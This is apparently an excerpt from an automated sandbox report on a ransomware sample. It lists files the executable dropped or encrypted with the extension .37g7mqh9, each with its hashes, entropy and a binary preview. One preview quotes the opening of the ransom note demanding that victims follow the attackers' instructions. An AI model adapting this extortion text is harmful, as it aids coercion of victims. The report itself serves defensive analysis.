                                                                                SHA-256:5BE03623F10BA90A0D7C2784F7B2CBB9C683C73524ACB9A47BDBCE5DFC77FDEF
                                                                                SHA-512:5232B8F7EFE617890DBA769021B4FFF79ADE7CAEAE0FD74D7762654B339566E1699FD6FB2104BD495DF8A3EDA517EF4CC4BD0A53084E1306856B9B9651E4F4BB
                                                                                Malicious:false
                                                                                Preview: ......?{z?g....W.....9[I...3..G......h]F....p.$...Sv.h...b..Q.q.us...........8TW.7{W..*........e.[' b[.M...m..$.yrn9).!&....)Y.G.~h4r.<u.`..L!v..,.d.3.....y............E...B&.h.}k.9.2..d-.[j..8m.).GIXC<. ...1i..(.O............N.....<..3`$.IX.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4#m......oD...IX..L.1........pi....u.+SCwq.....`q}t
                                                                                C:\Users\user\Searches\Indexed Locations.search-ms
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):476
                                                                                Entropy (8bit):7.541385235281158
                                                                                Encrypted:false
                                                                                SSDEEP:12:RhLy4QUZE8OzllVU1vRYerTfrii+Nbcx0TBRcQ:tD1Ue1eerTfu/Ax0N+Q
                                                                                MD5:B996D815409AFEE1D6F148776E68C505
                                                                                SHA1:B3BDFD735ECC10D7C0EDC3FF5C900785A12E84AC
                                                                                SHA-256:3CAFE173E7FC8C0F3556D314109CFA7EA8C46D2149BCA7EAEFCFC16C1EE44C12
                                                                                SHA-512:A7096A18FE27D3269F0D3974EE7FCEDB10D00C25E0A2E62DC72211D2585CAAF34D03FA383D2F5267F300683D34C1CA1F657F776E9B6B7BD8288070780539891F
                                                                                Malicious:false
                                                                                Preview: @...).......ZK.....@...q..n(.`...E.Sl.p.9.`..K.=....oFF...Xh..#....V...<..{.aI)..MO.1.5..?..=<|...H...../.n9.....&....a.q.X..s....<=._.#od..]......Nb.n..b,.>..."...)/..$@d.."6..C...5.k/..?ejr..O..........qg.L....*.?..V..S.qA....a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.b......-..\q./.kl...4.....g.q...d.........^..5
                                                                                C:\Users\user\Videos\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\bootTel.dat
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):308
                                                                                Entropy (8bit):7.35858218833658
                                                                                Encrypted:false
                                                                                SSDEEP:6:4YLEtwelP9d7efVTY8jPdTXIzIrVsa3P+NbcydTTZXrOQh3i7hFKSFJ:4YLEN/d7ERrTfrii+NbcH5hgSFJ
                                                                                MD5:9CFAE52BFB92101C84E91EFC21541733
                                                                                SHA1:32E9B00553D5FC06A2961FE27A24314D4FAF6F2E
                                                                                SHA-256:8728E3E02DFF55FADB375830F34C7C2AA9118CA6B5A85C0373F17ED0CB657551
                                                                                SHA-512:70669DA173F9C19C2ECF91315B9284004E3D034BC85B2906F39B09CA5547E90C8AC1C287537770EE5E89B004358E9F6150E0F50C3E5D122F7A4955177E8D3457
                                                                                Malicious:false
                                                                                Preview: Q$...#1...$.......[z-_6)..G.....9+...K.A8..%.Z:T..jK...].f..._r..A......{s^......a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.0&..'...B....P.,.lS.4.9..-.K..W..H...}.....1.Xe
                                                                                c:\bootTel.dat.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):308
                                                                                Entropy (8bit):7.35858218833658
                                                                                Encrypted:false
                                                                                SSDEEP:6:4YLEtwelP9d7efVTY8jPdTXIzIrVsa3P+NbcydTTZXrOQh3i7hFKSFJ:4YLEN/d7ERrTfrii+NbcH5hgSFJ
                                                                                MD5:9CFAE52BFB92101C84E91EFC21541733
                                                                                SHA1:32E9B00553D5FC06A2961FE27A24314D4FAF6F2E
                                                                                SHA-256:8728E3E02DFF55FADB375830F34C7C2AA9118CA6B5A85C0373F17ED0CB657551
                                                                                SHA-512:70669DA173F9C19C2ECF91315B9284004E3D034BC85B2906F39B09CA5547E90C8AC1C287537770EE5E89B004358E9F6150E0F50C3E5D122F7A4955177E8D3457
                                                                                Malicious:false
                                                                                Preview: Q$...#1...$.......[z-_6)..G.....9+...K.A8..%.Z:T..jK...].f..._r..A......{s^......a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.0&..'...B....P.,.lS.4.9..-.K..W..H...}.....1.Xe
                                                                                c:\program files (x86)\microsoft sql server\110\shared\msasxpress.dll.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):21924
                                                                                Entropy (8bit):7.990846763884375
                                                                                Encrypted:true
                                                                                SSDEEP:384:IycjIfe+/JFtm9A9fqFc5zQVanC3GMIK5DeZOlRSUpIGS5dc3zPY:Iycjr+PtkA9yGKVanCWMJcZ68/GS8bY
                                                                                MD5:5C4269F575FC869E92A586C8BB3A6603
                                                                                SHA1:D0007B3321F5E02DFE943691FC70C8A36A973120
                                                                                SHA-256:215D6443EB4B9E667FF15B6FB3621D85FCF130543D281BAEA9C4EBBA524575B8
                                                                                SHA-512:546629BB1B84FC4041D27AE6CFAB6187D2BD473DBBF857F7491C25F190749DCBFF25F47019747330BD4B1B10E056C4C49BC6F58C30524DDA4FE2C3C27E4FF099
                                                                                Malicious:false
                                                                                Preview: .5.........e..)..c.TCv...}i...,.......5..;.._.e....:).3....Y.M,T...u.5......wV^[FU!.P.`...U....$.n.i.....>..f.]!...4.<b..T~.o.@.;...mj.Y.f......7....^q..JY.s.A.emU.........R.3.......~?E...."..c...5|c.....L...m{.J..'.D.\<\.g.?Y8.X....H.):.?wc"...u}....#.Od..k..<.VV3.\..T..vZsk*.]s..y_r...h...,'.....{...R.Q>Fb.5T+.T..b...Y..+.a....H..mn.....{/.zg...[F.....F..;..D....X%..<...I.i..~8`.}....=.F..D~=.5.......lX...g...y[.^.M.....P...N.n'w=.&...uA2....7..=..W.......;2 kb.@...............3.~.\....0.......Mkq.k]....w..g.E........M.<.......N_....m0N.'9X..t...?n.X..B.8s.\\p.....a._mDmA .9.N3l..4.$.fl.M...wD.......i/......3.[.....t...T..}....A.6.....=W.....P..*.H....I.\EF.t+..rq......S.P+.l"-l....I.^..k@%a..,C....J;.\.......C.l.S..8....\..n...#z/...,.....<3...v..I...,..p.P..N...T}!.....|..h....>4. ^U...4..<3 .E0..y...v..X...qy.....m.&A..%...Q..(FEJ@...A...g.|.1FBkx.X....#.Q.9.w.....s.A.t-...\..>6...l.....Y..M.....&..D......?}...1.Z.JF.;../M....K.<.W.,
                                                                                c:\users\default\NTUSER.DAT.LOG1.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):57572
                                                                                Entropy (8bit):7.997181118570106
                                                                                Encrypted:true
                                                                                SSDEEP:1536:Afu2fFXeOZHJtQ1T7HxNBpl+HLepIZZlutmzG:2uAUgzQ9jxJl+HLiIPAwzG
                                                                                MD5:FD021CF49BDFCBDD85217028604FB487
                                                                                SHA1:1EF97DF73F4D47109CFA4134BCDF6CB9B2CBE72A
                                                                                SHA-256:C0A02EFD5B329640E84E26A2FF99010AFC56F0EB25D8E80DE736C1CDAC48D01C
                                                                                SHA-512:6A0A29956ED2AE8168E60E3338A48375DC151EBFDFECE2E0361AB7965C38FF56E83FF7C6F9593D5B53A1C13BB28040F544E5C6D49FE41E11CA692CFEF81B9D3E
                                                                                Malicious:false
                                                                                Preview: ..-v.6c..>..5tM...5j.t}U1.g....."u..R.h.sXao...i.......D#wZ1..KZ..M.a|......+.J.Fy.[...a....2...8..,....m.........O^..Zw.3..........t.h..H.*\..+...j+..>.#F.....t!....mxc.|.]L|..U........O`..`G....f?x.h.Z.../z3=B:....Ld.9..RBD6d..Cz.f...j.w..%=E.d....K....E.?Au.Tk...M.w.Lz&.n..."d.*%._..V..&.}...M....\..W.k...!b...m...n[.F#.S#......u...k ...]..c....Y.....a\..4.#....?h.}\DMu4.........8g.W.}Uh...;..4.....5.M....o.%...4.`..%..L.9.C....E?....e.+z'Z<..:.E2o..-=.d.. AU.Q....=.....H4...Cm..f........(..d2+X......Zb.M....."...o...W....X!..m.m.\~.5MR..Z..<-g)....2]..+f..F.@q.a..Y.. -....O...Y...'...zc..t...8..*....S.Qqp..'m....;_.>....[.W...7.\....v..^.p...1..dU3...`.}..H'O..\.........<.B..<G3.....#..N.D......o..Wl..)).h......4oM...c..K..."Z..7..}K..".-8=.....+q..l....MGwB.J.b%...$'....0.....3...hJ;RG.../&.:...M}....x..^.A2..}..o...... ...... {..&.M.!:sA...[".!)..+.h...M.A...At..M..zmu...P{..1.A.?..iX_....vF...._&b........I..g....E..GsS...
                                                                                c:\users\default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):65764
                                                                                Entropy (8bit):7.997248136331036
                                                                                Encrypted:true
                                                                                SSDEEP:1536:/kaYwWQFvCJqSVyiKEQEpO/jM9D/KsuaM/Oi6i3ljWa:MaYwWYvkqVEQEpWjMl/KtaMOi935Wa
                                                                                MD5:26CEC4680BA2E737850A7652F1194DF0
                                                                                SHA1:00CBDD5E7E1AA7093396DB440EAEB3CE39B101E5
                                                                                SHA-256:D4287ACD64FE509427C6F1AE2CCF0CB995B0DE6600E8F1DF77447CA754D450F7
                                                                                SHA-512:F1817C223DEFA53D36492AEB557D78A315A40F9025DD87C2D408FBDA6A2CD51C4948F4EBF2D163099926945113595C37A9ACAF454A9489ED9D48EB9674D70AB8
                                                                                Malicious:false
                                                                                Preview: ....K.i....l.DF>.LdOJys.......kJ...Qm.R..Z.=c...n{..$y.s..|_U.Nz>tIU.........9.H......m...Z....FIg..Xx.1..".7\...!.....o.UIy)......@0...$J<....k.9......6I..=B..~.....o..Q.a.9......R;9s"............e..S...{.o.!%............6}.B..Xe...k...H6K...-.}b.6.. ...j...|]..wD8....w/2.g...$.Il.._.|..56....L..:.h..r..Y.."6..M......OZ..s..P..0.-.G.HgcD....5SX....,7l. c..".U....w...+..|...%...g@Z..v.....d(...U..2........w`..B......H...5*d....I..Z.(.3Q.L.c.`x^..7?.I_.'.........;l.=|....].KX...q..Ax....P,......%.......R.e...0=Bi.J....z....t....b..Q.d.....C...%......B..G;#%/..`Wb.P.l.P.Qd.LM..o...-a"..3..@.D.e.gH...&n..[P.O.S....6..*...Qb.......hKr...6..:?....>.3..||........+X,.N...%e......WS_..<..{{.^f..]'<..w.,fc.....+.?...ye....%.....$....S...^.E..;.U..sbT......?.$....qt.T.d*...h#...........Lb..=.>.6'KpW.1.....k..fq.1.QJ...\....O.....x...8.!..>l....f....O.z..}{/+...7w.........B..iE..T...HM.....B..=. <...7.........f..<..y~+..u".V....S@'g/..}.
                                                                                c:\users\default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):524516
                                                                                Entropy (8bit):7.999652945553299
                                                                                Encrypted:true
                                                                                SSDEEP:12288:poI9sGEukoXmy+nCcHalOjSQz5YMmpc9n26XlIeKj:6J4kCcHnTz5YMmcdDXltu
                                                                                MD5:0EEF863C4D499CFBB66C62D90EC5D14A
                                                                                SHA1:D3C96D87D51C5F890C2033059D829054D5E54576
                                                                                SHA-256:DAB44E6F83746B9D9795DA0FEF14336C51C050E1B131591D71BE3A042AC57664
                                                                                SHA-512:C230C71CF2AED928804FC0BAC2235B82C61B2FA74083A3539B0E23D157B8857EED83C4B1C5E056654FBF641F4F61CFF3151BD67E0B31D4235BC6F2A84E936345
                                                                                Malicious:false
                                                                                Preview: .D....hR..... !....;.j$B..[P.S.m-.r.}-4E....t.-A....h.....I,....|BJB...D,..(.......X..(..z.-6`.I.q.."..pv......8.4.(b.89`P.w.,5.../:..........$S.^.z.A...U;.W....O.......~..KZ.J.N(p.._..q;.Zb..Y.7...Z..b......4..4.r...E.d...R.a...F.1f.X.zJ......k....<N1^.....guV..........8..Z5.._...ZR..'\...9..Y....?.qe.......B.sj..L..(.1-Hzk...o.J.V.r.[...;..q.k....~&.n+2.....)....u......./.?i.......vk..s-.=...p=..bNH.:.W8...ax,......_:".y..^E.]....&P....T>...Y_.W[y...(F?..."~.....=<a...2..l...C..Z...$)...,7.H..7..s0P...H.+I7efxO}...4....0..c@.L/.f.}.:9)i........X.7...;..D.....h....>U.Sw.'....y.6...!..3.{:zC<@....Fb.K.....H .p.e...?..k?L.8..k..4.T....g.z......mP....8Z&G.gY+6.P.Xl.......D~....P...............V/.t.0-4.1d......5../y.-.Wu....b9T7..&W...O..1.j...cW........+.Nr...a.`...+y.....m.V..g.3|h7..%..F......].c..@...b......i2..mM.x.......M.0....C...g.O..$.......5..i..B..H.fy.q..r.G....'pG.MU..*.Q_.....X..4..?..%.H.~t.d..Y.F./O........RI..a.....
                                                                                c:\users\default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):524516
                                                                                Entropy (8bit):7.9996111158614465
                                                                                Encrypted:true
                                                                                SSDEEP:12288:yoyBcQypzL/6GN0WNQ4QRLYt+ptXUmywXOQefz1oDtbw7yX:WcQypz76GdNQ488iNwjfihbwU
                                                                                MD5:A8873092CBE6D77A97B5152938D3B5CB
                                                                                SHA1:A0F6B37108249C4743ED4126F581650521D34D22
                                                                                SHA-256:2B4553F1B713E2883097B96C9F3050E307728D65020560C062337477A013A1BE
                                                                                SHA-512:F41733271BE752B9740DD5FC49F18500E7E40FB0C58BC3A3440641EE3BE97A457002274D8368E329FFB7C24518252D31AE4233BEB70243F5A8E008B7A2A1FAE2
                                                                                Malicious:false
                                                                                Preview: .._[..=.{`.........#...<..]..-.;..../(D..m.... ..v%@2..H..u.u..Z....\YuvMZ..UF:..a.K1....-...$.I%.k5$..@...~#.`O.,I..ZL?S.\._fs..B..m.PLT-.........<.{..i.F.5($.WC.*e.j.A...m...B.o.xS ...n...-..U.w.>}t.....|z.D.:cA...T...kO.?m..r..<.^E...qN.ah...2...%u..%:R;.@.&..9...f...Y....%.-X~K8...r....Di.}4@.!...D..})..c<.uZ..X...(..".;.x...l.q_..a.r.f..]...:5[$.&o.V...$.#.....8sH+..o.. ........+.h.......SK..)..Tq...Sil9..l.&{.wn-.quz.1..gxf(....yb..Y....F...93.@..\.J1...kB%....T.........,....M...K.......n+M.PD.cT.!yGbq.=...o..Fnu.6f.....*8..5.v....:......)y..m|~.<...c4.H.I!..q.w...,..D..W...$...q........T.....<g.T..9..F]I..vu...dT. 6v...A|.I1..?..)6..!.[..D;.oJ.[.(..p&.Z..Y.q......q...m....G....ZCKg.Y.Pz......;.nn...f).)...gY.U.....!'.@.k.>(7..../uN....0......<..,+m.@.....aw.....9W.}..%.I..=.z..b`eH..../.:y)..Y.Nh..... ..?...*..NH."..........'....|.......b}...a..2..]:t\62.... ...b&.=.CyS~v^@s..K.;..[..y....x....>.x.(......]..y.. ..=..'....N..}.l...Q..4.6.@^._
                                                                                c:\users\user\desktop\BJZFPPWAPT.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.862263998112695
                                                                                Encrypted:false
                                                                                SSDEEP:24:y9fnrbK2b+aCuJidZy9bpScjl3/t1nMGbUkCQ47KkP6kveGlv0IAvmQrTfu/At:ydrLPAZQbpBjlf7nuKG1mUMaSTfu/At
                                                                                MD5:08EFE59DEAA06D1300405D5CE7305566
                                                                                SHA1:79F192DED748AC1795153D9C97F2717DE72470E3
                                                                                SHA-256:D17550A475DCA341C4E7E8F91A577E378FD18704D37F2ACE61CCA97783568794
                                                                                SHA-512:5E550D1987776864F99594AD3BBB5D938382E802269227F2B3F134266A4FC7E453D77E14BE504D15FEA273608E38A7DF63CC3AB127A2076FEBD8D080650B1432
                                                                                Malicious:false
                                                                                Preview: B.n....*...ZI.$]..5...=.Z.y..F..VF.,Q)x{....CV=.q.U....i.V.H/&`.T.z...[.c.4.."X..d....Z...")M...S,.3xs.....p..T.W_...k.._.'2O7M...........@e...OL=y..$C#j.....1.I$<2.........l.H....p.A..~.j.............M.n.K..J...D....[<.{6J.K..f.,.5.\6..P1.ML.._.i.L........./.G.q@ Q5.k..IS...R.u..K..&69......"..Ye.}*e_.%.\E.BQOV.z.....l.2.X..@...Z.B...6..).n..1H.?.._....= ...$zR...#{..da;..[P...&[R......8.+........]...5.D.n.x..H%^..%.zkq..+.?,.....k....../7.<.t.k34{*h^.p....RBH..p......t'.dd...~\r....".........i...(..AD..<......NK..L...>.H....A.......8;.....{_)....t....`_F!.6]u..t..),..|J..w...h.C..8..of...#..IE.._....=C.U.... g...[..}.0.1..% ...... ....?.j...r.`?v6..a..G..R|.x:jX..>.9._@.ya.A.,.......C..:!l~^.M..=.n.*9..k..S{...'hd._....8.. n.....#.....(.%.yb.p&.....x3..}..).(A..h=.m. .#P...N..WY.JY> y.....5G|Y.g)q....".`.he......_.\.pN.....a.O.M...o....(...7x.d.....Om2y..{..q.A.?.w{/n...0.....5.......`{........"w,.v......)J.E.......R.wVg.I[....|....
                                                                                c:\users\user\desktop\BNAGMGSPLO.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.845977687643072
                                                                                Encrypted:false
                                                                                SSDEEP:24:/78LC+GJS4gsyonpLUD9qSLBneu0KVnACqByuwrTfu/Af:/78GysyCaL1t0KVveryTfu/Af
                                                                                MD5:25FFCBBB784DB183026F9BA3AFB59B9D
                                                                                SHA1:1E3CD119FBA806CB9E6925165320210F2EA0EF8F
                                                                                SHA-256:B484A7D295801E4C5DF74DFF8F1D1D281D3FA1065A935F824F5C7F04A66B544C
                                                                                SHA-512:E12D5255AB3FF07579F9A731BDB8E84FE786094C8976A779B8E8A3FB7EAE8D7B69FB5186F0B63CC54838EA4AC575B9917C0ADCC3F051B5FDCF2F04405E4C0946
                                                                                Malicious:false
                                                                                Preview: {&..i...p.^~.i.8...-p.z..@\2....2.....O..d.n^.Q_.*N.rN.Vm}..6...$.....~z~.......s..'7.r..H.......I...~..}+.Hit..r.Zkm...$qZ...@...543J..Z.d.Gl.M..n....36V.@..?..(.N..,..F*.|h_g;.H}..........a.j..[..aB:7.S#=.~g..<~.......\.T....7Q"..F.\.z..8.,.jo..c.......&...p.W.G.......x.YO...K..^j.4f^.u........;!@.....R...D)..q......)$.2..f7.n..........w...n;..0O.$.......ajQ....1...Ad.-..w..{.k....8Pl...KQ'...d.&F../?.A3T.18k9..M.....V^.%E...H.,.|.v.....T.t..`...s^.`v.y....TgZ.jB..A....O].......?.q".....[.{H.k.L*..O..Rc.<.();........(......*.:.y.e"..M...s.sR#..q...^..g.\.7C8Cs.p.+.^..^.@..`..R....Y#M...x&.......g..t.......P(.Z.KC[../......O.....Nv...<N.@.].w...~.....w.......sG......o......j:.V....E....y..%...5......<Di.!...>...`..K...s...6...p.M1[....[...@3dJ.h...V....tc.2J>..j...K..{.j|..[U.W...q...w.2..R[.....9zU.o{.0.D_!h......G].f,..T.....L.2...!F.q..._..[b..Wk.lk...r}.&..Sd..&..S<].p&.."...V.C..z.t....(...T...W._.a^H.\.p|J...h.D.....
                                                                                c:\users\user\desktop\BNAGMGSPLO.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.85344967426848
                                                                                Encrypted:false
                                                                                SSDEEP:24:kA3vUFpXtApptxstLHsc5OMBvjGUS1jIDEAZCxUArTfu/Au8J+:kyUFpXst6tgCO09S1juEVTfu/Aut
                                                                                MD5:5F5BF8F72030BB56E3998F0CF3A992DA
                                                                                SHA1:6007B9ED51235E7EC099AE7464B044F85A0F91FE
                                                                                SHA-256:B31AB603BCCE663F75A880E7A55A4B64E2A869AD85CB280C3044FDB4DF7693ED
                                                                                SHA-512:0D35C34F49AE6545006F5C71863C3B78B6C60DCEFFF9C4F5AFED9494F8F57A2534751C3F9C4563609AD4441FA8DADEB4996EE33A295151F7E974A79658A0C154
                                                                                Malicious:false
                                                                                Preview: ..n..9..v\..~..W.....O..2.4<k..............3..R..p2.y~...Oy.c.QI...h-.../i)...>.mDw.p.6..r...',Y....pBx.`...A....l.O....3#.....3.e..c'K..Mn......N......l..F.M..n..Z.{[..|...........Es..[....0a.[..c..v..C..(&j..wJ...g7.0L.\+....U7!../...o+H...D5cpUt...>L@y......q.L...z..2.n ..l...O w.]..*...a....zqr.Q.J.....H4..............m/..DZ.b.>}.r.eg..$!_.s_.Y....e........Y.g.dh.<Y9Qw.#..~..9{......H].&...[3....S.t...2H"....k.|l....\..lW.>..a..I?.?b.,a..s......Dk...E..e.......r.Y..L7..XE......(.HA..U.....Q?...4P...".s...%....A...K0...-...S.....$&.Z..VQ.........?Mc~f.'.Z...fo.C7....c.......]c3de.u...A.......I:..`.......D.....G.....z.[=:....$ZS.S?..~.:...._2...n\4ki......C.r.'.XNl<....L.S.lA.....'.7.................;.]7>....x.a/.^ 0..s...Rd.!.P8\.9R`..g.h.m...d.j.3u.M..?tH..'..R.w.jBah....y[4...5..:.W...p.....pW.wBl.v...j#.....A......S.P..D2C$.RU0W......sh./R.E.......9.AT..P.*...J.......V10.Y..V=....A.....e.$b..V.U..b..S...t{........>..[j...Io.....&7t..g.....
                                                                                c:\users\user\desktop\CZQKSDDMWR.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855554025063716
                                                                                Encrypted:false
                                                                                SSDEEP:24:DSyYxZJYnMUyXIh6s+647s4Uk9Te1uNpbj+rTfu/AHEsN:ejVjXNVMkJjPHkTfu/ABN
                                                                                MD5:D7EDFB1F58D8409F5D884205EDD43325
                                                                                SHA1:37030E3116240E07E3324C95A639ACDBE77D15D3
                                                                                SHA-256:FB3549FBC7A7E291E0D28C18E6A751D2046CEFEC2DB389BB642A8063E3AF4A7C
                                                                                SHA-512:AA5165F9365A7E99C5262C74F35EF73A15433B92800AD34E6F3BBBD32C1099BE565187EFDA020C2B4EF4EFFCCE7BE8BA9B5A49097A630446E338A0F0F371A3A0
                                                                                Malicious:false
                                                                                Preview: .be.,...4..+..i.j.p).]D<..\.|5..%)...MVw..B......T..7u._.....Qq.......iaQsw...$....a=/..3\..j.*..=..`.(..4...|.Q...M...m.G..*........I0...*.}BJ..P....sSP..o#.>...a!i...Ok.......To..%..m.V....l.y...W..).]T.|.P_U.p..Vr9x......9.?%..be.f....d...T`.~..u`d..O...429..)R.p...P<.H.,..b....e...... .......c...:e?*k........J..>..dY{,.6.{s...3n..VB...@.^f..}....M].8.."...'U..U1...c.[.nY..M2...&.Iv.Q.Ne......p....j.uD"..1$.k.."H].....A!..W].....3....a..'".r..........9..H..\.x..a....i..0U.|.........ecq.V.G8.t..:.3.q..y...8.V.....x.1.q..wJTT..ps..y.B...?30./J........$..."MD.....H.M.2.......T.....r :.[........YtEX..K6."..FQ.:&.y......4=*.h._..^.U...<.!...J.;O.....-..Tg...(..e2..o...hKi(c |.0}.W.t\`Z~.>...IN....[/....".B..^..5.x.$;...%..J...../...n..6...r.E}...j.].Ay.j.5..../41....}.}0mnrr.g..a\6..q....JI.;..Q;.x.<.Z.Y.....^.9?sh.m.(..u...W.&...0.[$.&..xM......?c...c%uR.."5..v.0.).Z..k].......*.%t.,.....2o]@...........!.P..U.o.~..Y.......S.C.N...v.!7.J..E
                                                                                c:\users\user\desktop\EEGWXUHVUG.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855190044015208
                                                                                Encrypted:false
                                                                                SSDEEP:24:qBbZNT7Ve428MiFwgdLr7l776QLxVo/gB1pz1x6hQQnlbe+rTfu/Ak6WF:2bj8mMiFrZVLHmgB1N8QkTfu/ALO
                                                                                MD5:1BE751D31D6B5986D5A5ABF585F0B313
                                                                                SHA1:066C6D4D9A0FC04802DD9C073F85732D6FFB4F3E
                                                                                SHA-256:82362614E606E46C5FE24C99BAC8C3BF2AAF15D1D8B9B7188C64F319DBFD20BD
                                                                                SHA-512:BC4BEF2B26A59E52F8D0936DBC30CD9B5F09E47A0B41466B20B8B5178AAB9CD5B3F4688C8FBFBA4E691F4F934F16D8804753FD7FA7F82E88C25145E3926EB6A7
                                                                                Malicious:false
